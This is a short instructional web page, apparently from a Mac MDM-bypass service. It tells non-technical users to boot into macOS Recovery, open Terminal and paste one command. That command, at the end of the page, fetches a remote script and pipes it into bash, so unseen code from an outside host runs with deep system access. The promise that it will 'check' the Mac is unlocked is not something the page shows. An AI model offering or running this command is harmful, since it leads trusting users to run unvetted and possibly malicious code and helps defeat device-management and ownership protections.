Follow these steps in order. No technical knowledge needed.
Turn off your Mac. Turn it back on and immediately hold Command (⌘) + R until you see the Apple logo or a spinning globe. When you see a window that says “macOS Utilities” or “Recovery”, you’re in the right place.
In the menu at the top, click Utilities and then click Terminal. A black window will open where you can type.
Click the green “Copy command” button below (click "Copy command" or select the text and copy). Then paste it into the Terminal window and press Enter. Your Mac will check that it’s allowed to unlock and then run the process. Do not close the window until it finishes.
This is the only command you need — paste it in Terminal:
curl -s https://mdm.imeicheckpro.com/bypass.sh | bash